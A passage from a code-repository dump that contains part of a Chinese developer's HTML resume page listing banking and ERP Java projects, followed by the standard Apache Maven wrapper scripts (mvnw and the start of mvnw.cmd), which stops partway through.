aria-hidden=\"true\"></i>\n\t\t\t\t\t[简介]针对中小银行内部业务管理系统众多，存在整合的需要，在流程方面有着统一管理和互联互通的要求，公司决定基于普元流程平台BPS和技术平台EOS研发适合众多小银行内部业务管理的业务平台，支撑客户内部协同类流程业务和部分分析类业务。\n\t\t\t\t\t<br /> <i class=\"fa fa-paper-plane-o\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[背景]统一业务管理平台，UBMP，是由公司售前提出并结合各个项目通用的业务需求而定的一个通用模块化的管理信息系统平台，主要为各业务系统提供产品模块支持及投标演示所用\n\t\t\t\t\t<br /> <i class=\"fa fa-users\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[团队]项目共7人，本人负责一期，合计有七个开发一个前端投入，完成上线，测试是浦发行方提供的测试人员； <br /> <i\n\t\t\t\t\tclass=\"fa fa-bars\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[职责]1、负责业务需求把控、挖掘，功能开发、测试；2、负责项目的架构设计和核心模块设计；3、负责信息化产品的研发与开发工作；4、主导技术难题攻关，重构系统，保证高性能处理和系统的稳定性；5、配合业务完成相应的工作；6、负责公司软件项目开发并提供技术支持。\n\t\t\t\t\t<br /> <i class=\"fa fa-thumbs-o-up\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[备注]前本项目正在进行中，该系统自去年立项，项目需求较为固定，本人进入项目组后担任技术经理，负责一些技术攻关和技术组件的设计开发，并指导项目组其他工程师进行开发。目前本人已经撤出该项目组，本人职责及开发任务已移交他人，目前这个项目主要为各个销售及售前提供产品基本的平台并定制化开发，完成投标所用；\n\t\t\t\t</li>\n\t\t\t</ul>\n\t\t</li>\n\t\t<li>\n\t\t\t<h3>\n\t\t\t\t<span>【项目名称】：长沙银行新报表平台(2016.2-2016.6 长沙 )，项目经理（架构师）</span> <span\n\t\t\t\t\tclass=\"link\"> <a href=\"#\" target=\"_blank\">Demo</a>\n\t\t\t\t</span>\n\t\t\t\t<time>2016.02-2016.06</time>\n\t\t\t</h3>\n\t\t\t<ul class=\"info-content\">\n\t\t\t\t<li>【开发环境】：Eclipse + Tomcat（Tomcat生产）+ MySql+Hadoop</li>\n\t\t\t\t<li>【使用架构】：SpringMVC+Hibernate(ibatis，jdbc)+Spring+JQuery+LigerUI+MySql+润乾报表+Hadoop\n\t\t\t\t</li>\n\t\t\t\t<li><i class=\"fa fa-paper-plane-o\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[简介]长沙银行新报表平台项目是长沙银行对旧报表平台进行改造升级的项目，其中含有老报表数据迁移，新报表数据开发，第三方报表数据集成等。由于长沙银行核心改造，由Oracle迁移到Hadoop，故相关涉及到的系统均改造升级或者重新开发，本系统正在此背景下应运而生。项目前台使用Nginx+Tomcat作为负载均衡，其中数据库使用Mysql读写分离，数据处理使用Hadoop及Shell脚本\n\t\t\t\t\t<br /> <i class=\"fa fa-paper-plane-o\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[背景]统一业务管理平台，UBMP，是由公司售前提出并结合各个项目通用的业务需求而定的一个通用模块化的管理信息系统平台，主要为各业务系统提供产品模块支持及投标演示所用\n\t\t\t\t\t<br /> <i class=\"fa fa-users\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[团队]项目共12人，本人负责一期，合计有七个开发一个前端投入，完成上线，测试是浦发行方提供的测试人员； <br /> <i\n\t\t\t\t\tclass=\"fa fa-bars\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[职责]1、负责业务需求把控、挖掘，功能开发、测试；2、负责项目的架构设计和核心模块设计；3、负责信息化产品的研发与开发工作；4、主导技术难题攻关，重构系统，保证高性能处理和系统的稳定性；5、配合业务完成相应的工作；6、负责公司软件项目开发并提供技术支持。\n\t\t\t\t\t<br /> <i class=\"fa fa-thumbs-o-up\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[备注]目前本项目正在进行中，该系统自去年年底立项，项目需求较为固定，由于行内各报表变化不大，表头及科目有调整但是整体来说并不大，项目整体划分为包人月，分四期上线，目前一期17张报表，二期44张报表均已上线，其中本人主导并协助相关开发人员进行报表平台的前台功能的开发测试及数据处理等事项。\n\t\t\t\t</li>\n\t\t\t</ul>\n\t\t</li>\n\t\t<li>\n\t\t\t<h3>\n\t\t\t\t<span>【项目名称】：武汉农商CRM系统(2015.8-2016.2 武汉)，Java高级开发（兼架构师）</span> <span\n\t\t\t\t\tclass=\"link\"> <a href=\"#\" target=\"_blank\">Demo</a>\n\t\t\t\t</span>\n\t\t\t\t<time>2015.08-2016.02</time>\n\t\t\t</h3>\n\t\t\t<ul class=\"info-content\">\n\t\t\t\t<li>【开发环境】：Eclipse + Tomcat（Weblogic生产） + Oracle</li>\n\t\t\t\t<li>【使用架构】：Struts2 + JPA + Spring+ Extjs +USE+Oracle\n\t\t\t\t\t+USE(统一调度平台)+Oracle+Shell</li>\n\t\t\t\t<li><i class=\"fa fa-paper-plane-o\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[简介]武汉农村商业银行CRM项目，搭建银行客户关系数据集市，建立CRM管理基础应用平台以及信息整合平台，系统建设按照对公、对私一体化建设的思路及对公、对私松耦合、模块化设计，主要实现客户视图统一展示与维护平台；统计客户综合贡献度，实现客户价值评级模型，实现基础的客户细分模型；产品信息展示以及差异化用户工作平台；客户经理认定与管理；实现差异化的客户管理体系、建立全面统一的营销服务体系，构建基础的业务综合应用处理平台；并实现客户维度统计分析的建设。\n\t\t\t\t\t<br /> <i class=\"fa fa-users\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[团队]项目共12人，本人负责一期，合计有七个开发一个前端投入，完成上线，测试是浦发行方提供的测试人员； <br /> <i\n\t\t\t\t\tclass=\"fa fa-bars\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[职责]在该项目本人参与了需求调研，系统设计，代码开发，功能测试，系统联调，上线维护等整个项目周期，其中本人主导并协助相关开发人员负责客户视图模块，客户群视图模块，客户灵活查询模块，营销模块模块，产品模块模块，客户短信平台模块。指导并参与单元测试、集成测试、联调测试、压力测试等工作。\n\n\t\t\t\t</li>\n\t\t\t</ul>\n\t\t</li>\n\n\t\t<li>\n\t\t\t<h3>\n\t\t\t\t<span>【项目名称】：武汉农商ECIF系统(2014.10-2015.8 武汉 ) ，Java高级开发（兼架构师）</span> <span\n\t\t\t\t\tclass=\"link\"> <a href=\"#\" target=\"_blank\">Demo</a>\n\t\t\t\t</span>\n\t\t\t\t<time>2014.10-2015.08</time>\n\t\t\t</h3>\n\t\t\t<ul class=\"info-content\">\n\t\t\t\t<li>【开发环境】：Eclipse + Tomcat（Weblogic生产）+ Oracle</li>\n\t\t\t\t<li>【使用架构】：SpringMVC + JPA + Spring+\n\t\t\t\t\tJQuery+LIgerUI+USE(统一调度平台)+Oracle+Shell</li>\n\t\t\t\t<li><i class=\"fa fa-paper-plane-o\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[简介]武汉农商银行拟通过建设全行级客户管理系统，建设企业级“以客户为中心”的基础平台和架构，解决客户分散管理、各个系统信息不同、缺乏按客户视角管理的现状。我行对分散在各业务系统的客户信息进行整合与管理，为各业务系统提供必要的、统一的、标准的客户信息服务，从而帮助我行降低业务风险，提高服务水平和产品营销转化率。统一客户信息平台（ECIF）项目是武汉农商银行IT基础架构的重要项目，该项目的建设工作涉及到行里现有多个业务系统的改造工作，包括核心、信贷、国际结算、理财、中间业务、网银和手机银行、票据、客服中心、贷记卡等，按照“总体规划、分步实施、动态调整、逐步改进”的原则，计划统一客户信息平台（ECIF）项目分为两期建设工作。\n\t\t\t\t\t<br /> <i class=\"fa fa-bars\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[职责]在该项目本人参与了需求调研，系统设计，代码开发，功能测试，系统联调，上线维护等整个项目周期，其中本人负责理财、国结、核心得需求调研，参与数据处理中的数据清理调度脚本及存储过程的开发及测试，主导前台功能界面的开发及测试，参与对外接口服务的开发（含调用及被调用）。参与单元测试、集成测试、联调测试、并主导压力测试等工作。\n\n\t\t\t\t</li>\n\t\t\t</ul>\n\t\t</li>\n\n\t\t<li>\n\t\t\t<h3>\n\t\t\t\t<span>【项目名称】：达此APP接口交互平台 && 达此APP后台管理系统 (2014.8-2014.10 武汉)\n\t\t\t\t\t，项目经理（兼架构师） </span> <span class=\"link\"> <a href=\"#\" target=\"_blank\">Demo</a>\n\t\t\t\t</span>\n\t\t\t\t<time>2014.08 - 2014.10</time>\n\t\t\t</h3>\n\t\t\t<ul class=\"info-content\">\n\t\t\t\t<li>【开发环境】：Eclipse + Tomcat（Tomcat生产） + Mysql</li>\n\t\t\t\t<li>【使用架构】：SpringMVC + Spring + Mybatis(SpringJDBC)+\n\t\t\t\t\tSpring+JQuery+EasyUI</li>\n\t\t\t\t<li><i class=\"fa fa-paper-plane-o\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[简介]武汉达此网络科技致力于将“达\n\t\t\t\t\t此”App打造成全球人民依赖的生活助手，首创了最具成长性的虚拟游戏和真实任务相结合，来引导消费行为的GGC模式 (Games\n\t\t\t\t\tGuide\n\t\t\t\t\tConsumption，即：游戏引导消费）。以最新颖的线上线下互动的方式深度优化用户体验，全面覆盖吃、喝、玩、乐、购等，将最具成长性的社会化分享\n\t\t\t\t\t渗透到用户日常生活中，并为你带来额外的惊喜与无限乐趣。 <br /> <i class=\"fa fa-paper-plane-o\"\n\t\t\t\t\taria-hidden=\"true\"></i>[背景]本人一个人搞定一个项目系列，公司老板之前是做房地产行业的，见房地产式微，转战移动互联网行业。当时准备你吧，你，做Android客户端、ISO客户端、互联网网站平台、APP后台管理系统、APP后台接口交互系统、微信公众号等等，这个系统就是在这个背景下产生的。当时入职后我担任这个项目的项目经理，这个项目是一个从零开始开发的项目，同时也是对我之前积累和管理能力的一次考验。\n\t\t\t\t\t<br /> <i class=\"fa fa-bars\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[职责]本人主管该项目，在该项目中参与了整个需求调研，系统设计，技术架构及项目管理工作，代码开发，SIT测试,UAT测试。该项目本人担任项目经理，负责系统架构和关键功能的设计和开发，负责一些技术攻关和技术组件的设计开发，分配项目开发任务及各个人员的工作内容，控制项目进度，指导项目组其他项目组成员帮助其完成手头工作等。\n\n\t\t\t\t</li>\n\t\t\t</ul>\n\t\t</li>\n\n\t\t<li>\n\t\t\t<h3>\n\t\t\t\t<span>【项目名称】：众环海华ERP系统(2013.5-2014.8 武汉) ，Java高级软件工程师 </span> <span\n\t\t\t\t\tclass=\"link\"> <a href=\"#\" target=\"_blank\">Demo</a>\n\t\t\t\t</span>\n\t\t\t\t<time>2013.05 - 2014.08</time>\n\t\t\t</h3>\n\t\t\t<ul class=\"info-content\">\n\t\t\t\t<li>【开发环境】：MyEclipse + Tomcat（JBoss生产） + Oracle</li>\n\t\t\t\t<li>【使用架构】：SpringMVC + SpringJDBC + Spring+ JBPM+JQuery+EasyUI\n\t\t\t\t</li>\n\t\t\t\t<li><i class=\"fa fa-paper-plane-o\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[简介]众环海华管理信息系统是一款基于会计师行业的准ERP系统，该集团及各分支机构具有不同的管理模式及信息系统，随着集团整合的推进，该系统应运而生。其目的是在集团内实现统一的信息业务办公管理，该系统含客户、管理信息、项目管理、计划工时、财务、考核、人事等模块\n\t\t\t\t\t。 <br /> <i class=\"fa fa-bars\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[职责]在该项目本人参与了整个需求调研，系统设计，代码开发，后期维护等所有环节(其他人员已离职或撤离)。前期本人主要负责财务管理模块、客户模块及项目管理三个模块的开发。后期负责整个项目的需求变更的开发及维护工作并积极修复各测试人员及客户提出的各种BUG。\n\n\t\t\t\t</li>\n\t\t\t</ul>\n\t\t</li>\n\n\t\t<li>\n\t\t\t<h3>\n\t\t\t\t<span>【项目名称】：中国航油税务管理信息系统(2012.8-2013.5 北京) ，Java高级软件工程师 </span> <span\n\t\t\t\t\tclass=\"link\"> <a href=\"#\" target=\"_blank\">Demo</a>\n\t\t\t\t</span>\n\t\t\t\t<time>2012.08 - 2013.05</time>\n\t\t\t</h3>\n\t\t\t<ul class=\"info-content\">\n\t\t\t\t<li>【开发环境】：MyEclipse + Tomcat（JBoss生产） + Oracle</li>\n\t\t\t\t<li>【使用架构】：SpringMVC + SpringJDBC + Spring+ JBPM+JQuery+EasyUI\n\t\t\t\t</li>\n\t\t\t\t<li><i class=\"fa fa-paper-plane-o\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[简介]中国航油集团税务管理系统总体目标旨在搭建税务管理信息化工作平台，规范集团税款计算及纳税申报，减少人为计算差错及手工操作量，以提高工作效率；加强税务风险防范，明确岗位职责，规范审核及审批流程等，最终达到提升税务管理水平的目的。该项目含有基础设置、数据采集、纳税申报、风险管控、查询统计、发票、档案及其他等模块\n\t\t\t\t\t。 <br /> <i class=\"fa fa-bars\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[职责]在入职后即加入该项目组，当时该项目基本处于后开发阶段，拟上线试运行，在该项目中本人的工作主要是开发及维护现有代码等，并进行二次开发，主要负责附加税费的开发及其他小税种的处理，另本人协助其他开发人员完成各种开发任务及各种功能实现等等。\n\n\t\t\t\t</li>\n\t\t\t</ul>\n\t\t</li>\n\n\n\t\t<li>\n\t\t\t<h3>\n\t\t\t\t<span>【项目名称】：众环海华协同办公管理信息系统(2011.8-2012.8 武汉) ，Java软件工程师 </span> <span\n\t\t\t\t\tclass=\"link\"> <a href=\"#\" target=\"_blank\">Demo</a>\n\t\t\t\t</span>\n\t\t\t\t<time>2011.08 - 2012.08</time>\n\t\t\t</h3>\n\t\t\t<ul class=\"info-content\">\n\t\t\t\t<li>【开发环境】：Eclipse + Tomcat（Tomcat生产）+ Oracle</li>\n\t\t\t\t<li>【使用架构】：SpringMVC + Hibernate + Spring+JBPM+JQuery+EasyUI</li>\n\t\t\t\t<li><i class=\"fa fa-paper-plane-o\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[简介]协同办公系统（OA、MIS、HR、CRM等）本系统提供完善的各项资源档案保存方案，使管理者更加简洁、高效、准确的把握公司各项资源信息；\n\t\t\t\t\t。 <br /> <i class=\"fa fa-bars\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[职责]该项目是本人参加的第一个项目，在项目中本人积极与各同仁沟通并协调各种工作，本项目为公司内部成熟产品，主要为完善并维护现有功能并实现新近需求等，在本项目中本人主要负责人事管理，员工信息模块及员工附属信息等功能的开发及维护工作等。\n\n\t\t\t\t</li>\n\t\t\t</ul>\n\t\t</li>\n\t</ul>\n</section>\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/jun_springboot_server/mvnw",
    "content": "#!/bin/sh\n# ----------------------------------------------------------------------------\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements.  See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership.  The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License.  You may obtain a copy of the License at\n#\n#    https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied.  See the License for the\n# specific language governing permissions and limitations\n# under the License.\n# ----------------------------------------------------------------------------\n\n# ----------------------------------------------------------------------------\n# Maven Start Up Batch script\n#\n# Required ENV vars:\n# ------------------\n#   JAVA_HOME - location of a JDK home dir\n#\n# Optional ENV vars\n# -----------------\n#   M2_HOME - location of maven2's installed home dir\n#   MAVEN_OPTS - parameters passed to the Java VM when running Maven\n#     e.g. to debug Maven itself, use\n#       set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000\n#   MAVEN_SKIP_RC - flag to disable loading of mavenrc files\n# ----------------------------------------------------------------------------\n\nif [ -z \"$MAVEN_SKIP_RC\" ] ; then\n\n  if [ -f /etc/mavenrc ] ; then\n    . /etc/mavenrc\n  fi\n\n  if [ -f \"$HOME/.mavenrc\" ] ; then\n    . \"$HOME/.mavenrc\"\n  fi\n\nfi\n\n# OS specific support.  $var _must_ be set to either true or false.\ncygwin=false;\ndarwin=false;\nmingw=false\ncase \"`uname`\" in\n  CYGWIN*) cygwin=true ;;\n  MINGW*) mingw=true;;\n  Darwin*) darwin=true\n    # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home\n    # See https://developer.apple.com/library/mac/qa/qa1170/_index.html\n    if [ -z \"$JAVA_HOME\" ]; then\n      if [ -x \"/usr/libexec/java_home\" ]; then\n        export JAVA_HOME=\"`/usr/libexec/java_home`\"\n      else\n        export JAVA_HOME=\"/Library/Java/Home\"\n      fi\n    fi\n    ;;\nesac\n\nif [ -z \"$JAVA_HOME\" ] ; then\n  if [ -r /etc/gentoo-release ] ; then\n    JAVA_HOME=`java-config --jre-home`\n  fi\nfi\n\nif [ -z \"$M2_HOME\" ] ; then\n  ## resolve links - $0 may be a link to maven's home\n  PRG=\"$0\"\n\n  # need this for relative symlinks\n  while [ -h \"$PRG\" ] ; do\n    ls=`ls -ld \"$PRG\"`\n    link=`expr \"$ls\" : '.*-> \\(.*\\)$'`\n    if expr \"$link\" : '/.*' > /dev/null; then\n      PRG=\"$link\"\n    else\n      PRG=\"`dirname \"$PRG\"`/$link\"\n    fi\n  done\n\n  saveddir=`pwd`\n\n  M2_HOME=`dirname \"$PRG\"`/..\n\n  # make it fully qualified\n  M2_HOME=`cd \"$M2_HOME\" && pwd`\n\n  cd \"$saveddir\"\n  # echo Using m2 at $M2_HOME\nfi\n\n# For Cygwin, ensure paths are in UNIX format before anything is touched\nif $cygwin ; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=`cygpath --unix \"$M2_HOME\"`\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=`cygpath --unix \"$JAVA_HOME\"`\n  [ -n \"$CLASSPATH\" ] &&\n    CLASSPATH=`cygpath --path --unix \"$CLASSPATH\"`\nfi\n\n# For Mingw, ensure paths are in UNIX format before anything is touched\nif $mingw ; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=\"`(cd \"$M2_HOME\"; pwd)`\"\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=\"`(cd \"$JAVA_HOME\"; pwd)`\"\nfi\n\nif [ -z \"$JAVA_HOME\" ]; then\n  javaExecutable=\"`which javac`\"\n  if [ -n \"$javaExecutable\" ] && ! [ \"`expr \\\"$javaExecutable\\\" : '\\([^ ]*\\)'`\" = \"no\" ]; then\n    # readlink(1) is not available as standard on Solaris 10.\n    readLink=`which readlink`\n    if [ ! `expr \"$readLink\" : '\\([^ ]*\\)'` = \"no\" ]; then\n      if $darwin ; then\n        javaHome=\"`dirname \\\"$javaExecutable\\\"`\"\n        javaExecutable=\"`cd \\\"$javaHome\\\" && pwd -P`/javac\"\n      else\n        javaExecutable=\"`readlink -f \\\"$javaExecutable\\\"`\"\n      fi\n      javaHome=\"`dirname \\\"$javaExecutable\\\"`\"\n      javaHome=`expr \"$javaHome\" : '\\(.*\\)/bin'`\n      JAVA_HOME=\"$javaHome\"\n      export JAVA_HOME\n    fi\n  fi\nfi\n\nif [ -z \"$JAVACMD\" ] ; then\n  if [ -n \"$JAVA_HOME\"  ] ; then\n    if [ -x \"$JAVA_HOME/jre/sh/java\" ] ; then\n      # IBM's JDK on AIX uses strange locations for the executables\n      JAVACMD=\"$JAVA_HOME/jre/sh/java\"\n    else\n      JAVACMD=\"$JAVA_HOME/bin/java\"\n    fi\n  else\n    JAVACMD=\"`which java`\"\n  fi\nfi\n\nif [ ! -x \"$JAVACMD\" ] ; then\n  echo \"Error: JAVA_HOME is not defined correctly.\" >&2\n  echo \"  We cannot execute $JAVACMD\" >&2\n  exit 1\nfi\n\nif [ -z \"$JAVA_HOME\" ] ; then\n  echo \"Warning: JAVA_HOME environment variable is not set.\"\nfi\n\nCLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher\n\n# traverses directory structure from process work directory to filesystem root\n# first directory with .mvn subdirectory is considered project base directory\nfind_maven_basedir() {\n\n  if [ -z \"$1\" ]\n  then\n    echo \"Path not specified to find_maven_basedir\"\n    return 1\n  fi\n\n  basedir=\"$1\"\n  wdir=\"$1\"\n  while [ \"$wdir\" != '/' ] ; do\n    if [ -d \"$wdir\"/.mvn ] ; then\n      basedir=$wdir\n      break\n    fi\n    # workaround for JBEAP-8937 (on Solaris 10/Sparc)\n    if [ -d \"${wdir}\" ]; then\n      wdir=`cd \"$wdir/..\"; pwd`\n    fi\n    # end of workaround\n  done\n  echo \"${basedir}\"\n}\n\n# concatenates all lines of a file\nconcat_lines() {\n  if [ -f \"$1\" ]; then\n    echo \"$(tr -s '\\n' ' ' < \"$1\")\"\n  fi\n}\n\nBASE_DIR=`find_maven_basedir \"$(pwd)\"`\nif [ -z \"$BASE_DIR\" ]; then\n  exit 1;\nfi\n\n##########################################################################################\n# Extension to allow automatically downloading the maven-wrapper.jar from Maven-central\n# This allows using the maven wrapper in projects that prohibit checking in binary data.\n##########################################################################################\nif [ -r \"$BASE_DIR/.mvn/wrapper/maven-wrapper.jar\" ]; then\n    if [ \"$MVNW_VERBOSE\" = true ]; then\n      echo \"Found .mvn/wrapper/maven-wrapper.jar\"\n    fi\nelse\n    if [ \"$MVNW_VERBOSE\" = true ]; then\n      echo \"Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ...\"\n    fi\n    if [ -n \"$MVNW_REPOURL\" ]; then\n      jarUrl=\"$MVNW_REPOURL/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar\"\n    else\n      jarUrl=\"https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar\"\n    fi\n    while IFS=\"=\" read key value; do\n      case \"$key\" in (wrapperUrl) jarUrl=\"$value\"; break ;;\n      esac\n    done < \"$BASE_DIR/.mvn/wrapper/maven-wrapper.properties\"\n    if [ \"$MVNW_VERBOSE\" = true ]; then\n      echo \"Downloading from: $jarUrl\"\n    fi\n    wrapperJarPath=\"$BASE_DIR/.mvn/wrapper/maven-wrapper.jar\"\n    if $cygwin; then\n      wrapperJarPath=`cygpath --path --windows \"$wrapperJarPath\"`\n    fi\n\n    if command -v wget > /dev/null; then\n        if [ \"$MVNW_VERBOSE\" = true ]; then\n          echo \"Found wget ... using wget\"\n        fi\n        if [ -z \"$MVNW_USERNAME\" ] || [ -z \"$MVNW_PASSWORD\" ]; then\n            wget \"$jarUrl\" -O \"$wrapperJarPath\"\n        else\n            wget --http-user=$MVNW_USERNAME --http-password=$MVNW_PASSWORD \"$jarUrl\" -O \"$wrapperJarPath\"\n        fi\n    elif command -v curl > /dev/null; then\n        if [ \"$MVNW_VERBOSE\" = true ]; then\n          echo \"Found curl ... using curl\"\n        fi\n        if [ -z \"$MVNW_USERNAME\" ] || [ -z \"$MVNW_PASSWORD\" ]; then\n            curl -o \"$wrapperJarPath\" \"$jarUrl\" -f\n        else\n            curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o \"$wrapperJarPath\" \"$jarUrl\" -f\n        fi\n\n    else\n        if [ \"$MVNW_VERBOSE\" = true ]; then\n          echo \"Falling back to using Java to download\"\n        fi\n        javaClass=\"$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java\"\n        # For Cygwin, switch paths to Windows format before running javac\n        if $cygwin; then\n          javaClass=`cygpath --path --windows \"$javaClass\"`\n        fi\n        if [ -e \"$javaClass\" ]; then\n            if [ ! -e \"$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class\" ]; then\n                if [ \"$MVNW_VERBOSE\" = true ]; then\n                  echo \" - Compiling MavenWrapperDownloader.java ...\"\n                fi\n                # Compiling the Java class\n                (\"$JAVA_HOME/bin/javac\" \"$javaClass\")\n            fi\n            if [ -e \"$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class\" ]; then\n                # Running the downloader\n                if [ \"$MVNW_VERBOSE\" = true ]; then\n                  echo \" - Running MavenWrapperDownloader.java ...\"\n                fi\n                (\"$JAVA_HOME/bin/java\" -cp .mvn/wrapper MavenWrapperDownloader \"$MAVEN_PROJECTBASEDIR\")\n            fi\n        fi\n    fi\nfi\n##########################################################################################\n# End of extension\n##########################################################################################\n\nexport MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-\"$BASE_DIR\"}\nif [ \"$MVNW_VERBOSE\" = true ]; then\n  echo $MAVEN_PROJECTBASEDIR\nfi\nMAVEN_OPTS=\"$(concat_lines \"$MAVEN_PROJECTBASEDIR/.mvn/jvm.config\") $MAVEN_OPTS\"\n\n# For Cygwin, switch paths to Windows format before running java\nif $cygwin; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=`cygpath --path --windows \"$M2_HOME\"`\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=`cygpath --path --windows \"$JAVA_HOME\"`\n  [ -n \"$CLASSPATH\" ] &&\n    CLASSPATH=`cygpath --path --windows \"$CLASSPATH\"`\n  [ -n \"$MAVEN_PROJECTBASEDIR\" ] &&\n    MAVEN_PROJECTBASEDIR=`cygpath --path --windows \"$MAVEN_PROJECTBASEDIR\"`\nfi\n\n# Provide a \"standardized\" way to retrieve the CLI args that will\n# work with both Windows and non-Windows executions.\nMAVEN_CMD_LINE_ARGS=\"$MAVEN_CONFIG $@\"\nexport MAVEN_CMD_LINE_ARGS\n\nWRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain\n\nexec \"$JAVACMD\" \\\n  $MAVEN_OPTS \\\n  -classpath \"$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar\" \\\n  \"-Dmaven.home=${M2_HOME}\" \"-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}\" \\\n  ${WRAPPER_LAUNCHER} $MAVEN_CONFIG \"$@\"\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/jun_springboot_server/mvnw.cmd",
    "content": "@REM ----------------------------------------------------------------------------\n@REM Licensed to the Apache Software Foundation (ASF) under one\n@REM or more contributor license agreements.  See the NOTICE file\n@REM distributed with this work for additional information\n@REM regarding copyright ownership.  The ASF licenses this file\n@REM to you under the Apache License, Version 2.0 (the\n@REM \"License\"); you may not use this file except in compliance\n@REM with the License.  You may obtain a copy of the License at\n@REM\n@REM    https://www.apache.org/licenses/LICENSE-2.0\n@REM\n@REM Unless required by applicable law or agreed to in writing,\n@REM software distributed under the License is distributed on an\n@REM \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n@REM KIND, either express or implied.  See the License for the\n@REM specific language governing permissions and limitations\n@REM under the License.\n@REM ----------------------------------------------------------------------------\n\n@REM ----------------------------------------------------------------------------\n@REM Maven Start Up Batch script\n@REM\n@REM Required ENV vars:\n@REM JAVA_HOME - location of a JDK home dir\n@REM\n@REM Optional ENV vars\n@REM M2_HOME - location of maven2's installed home dir\n@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands\n@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a keystroke before ending\n@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven\n@REM     e.g. to debug Maven itself, use\n@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000\n@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files\n@REM ----------------------------------------------------------------------------\n\n@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'\n@echo off\n@REM set title of command window\ntitle %0\n@REM enable echoing by setting MAVEN_BATCH_ECHO to 'on'\n@if \"%MAVEN_BATCH_ECHO%\" == \"on\"  echo %MAVEN_BATCH_ECHO%\n\n@REM set %HOME% to equivalent of $HOME\nif \"%HOME%\" == \"\" (set \"HOME=%HOMEDRIVE%%HOMEPATH%\")\n\n@REM Execute a user defined script before this one\nif not \"%MAVEN_SKIP_RC%\" == \"\" goto skipRcPre\n@REM check for pre script, once with legacy .bat ending and once with .cmd ending\nif exist \"%HOME%\\mavenrc_pre.bat\" call \"%HOME%\\mavenrc_pre.bat\"\nif exist \"%HOME%\\mavenrc_pre.cmd\" call \"%HOME%\\mavenrc_pre.cmd\"\n:skipRcPre\n\n@setlocal\n\nset ERROR_CODE=0\n\n@REM To isolate internal variables from possible post scripts, we use another setlocal\n@setlocal\n\n@REM ==== START VALIDATION ====\nif not \"%JAVA_HOME%\" == \"\" goto OkJHome\n\necho.\necho Error: JAVA_HOME not found in your environment. >&2\necho Please set the JAVA_HOME variable in your environment to match the >&2\necho location of your Java installation. >&2\necho.\ngoto error\n\n:OkJHome\nif exist \"%JAVA_HOME%\\bin\\java.exe\" goto init\n\necho.\necho Error: JAVA_HOME is set to an invalid directory. >&2\necho JAVA_HOME = \"%JAVA_HOME%\" >&2\necho Please set the JAVA_HOME variable in your environment to match the >&2\necho location of your Java installation. >&2\necho.\ngoto error\n\n@REM ==== END VALIDATION ====\n\n:init\n\n@REM Find the project base dir, i.e. the directory that contains the folder \".mvn\".\n@REM Fallback to current working directory if not found.\n\nset MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%\nIF NOT \"%MAVEN_PROJECTBASEDIR%\"==\"\" goto endDetectBaseDir\n\nset EXEC_DIR=%CD%\nset WDIR=%EXEC_DIR%\n:findBaseDir\nIF EXIST \"%WDIR%\"\\.mvn goto baseDirFound\ncd ..\nIF \"%WDIR%\"==\"%CD%\" goto baseDirNotFound\nset WDIR=%CD%\ngoto findBaseDir\n\n:baseDirFound\nset MAVEN_PROJECTBASEDIR=%WDIR%\ncd \"%EXEC_DIR%\"\ngoto 